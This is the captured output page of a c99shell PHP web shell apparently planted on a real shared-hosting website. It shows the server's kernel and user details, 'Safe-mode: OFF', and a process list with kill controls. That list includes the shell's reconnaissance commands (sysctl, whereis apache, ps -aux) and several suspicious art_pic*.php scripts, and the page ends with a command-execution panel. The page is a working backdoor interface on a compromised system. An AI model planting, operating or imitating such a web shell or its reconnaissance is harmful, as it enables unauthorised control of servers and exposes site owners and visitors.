Software: Apache. PHP/7.3.33 uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) Safe-mode: OFF (not secure) /usr/share/man/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
alpastr+ | 1191 | 0.3 | 0.0 | 358336 | 40212 | ? | S 13:02 0:00 /usr/local/php7.3/bin/php-cgi art_pic6836149687133.php | KILL | ||||||||||||||||||||
alpastr+ | 2495 | 2.6 | 0.0 | 358340 | 40464 | ? | S 13:02 0:00 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 2801 | 0.0 | 0.0 | 12000 | 2844 ? S 13:02 0:00 sh -c sysctl -a | grep version | KILL | ||||||||||||||||||||||
alpastr+ | 2803 | 0.0 | 0.0 | 42216 | 3348 ? R 13:02 0:00 sysctl -a | KILL | ||||||||||||||||||||||
alpastr+ | 2804 | 0.0 | 0.0 | 9288 | 1116 ? S 13:02 0:00 grep version | KILL | ||||||||||||||||||||||
alpastr+ | 2813 | 0.0 | 0.0 | 4728 | 1840 ? R 13:02 0:00 whereis apache | KILL | ||||||||||||||||||||||
alpastr+ | 2814 | 0.0 | 0.0 | 49824 | 3684 ? R 13:02 0:00 ps -aux | KILL | ||||||||||||||||||||||
alpastr+ | 25198 | 3.3 | 0.0 | 375288 | 44916 | ? | R 12:59 0:06 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 28094 | 3.6 | 0.0 | 359276 | 42000 | ? | S 13:00 0:05 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 30411 | 3.3 | 0.0 | 359264 | 41964 | ? | D 13:00 0:02 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 30726 | 3.8 | 0.0 | 359264 | 41852 | ? | S 13:00 0:03 /usr/local/php7.3/bin/php-cgi art_pic6835fc33732d6.php | KILL | ||||||||||||||||||||
alpastr+ | 32152 | 0.1 | 0.0 | 355964 | 37072 | ? | S 13:01 0:00 /usr/local/php7.3/bin/php-cgi article-single.php | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0263 ]-- |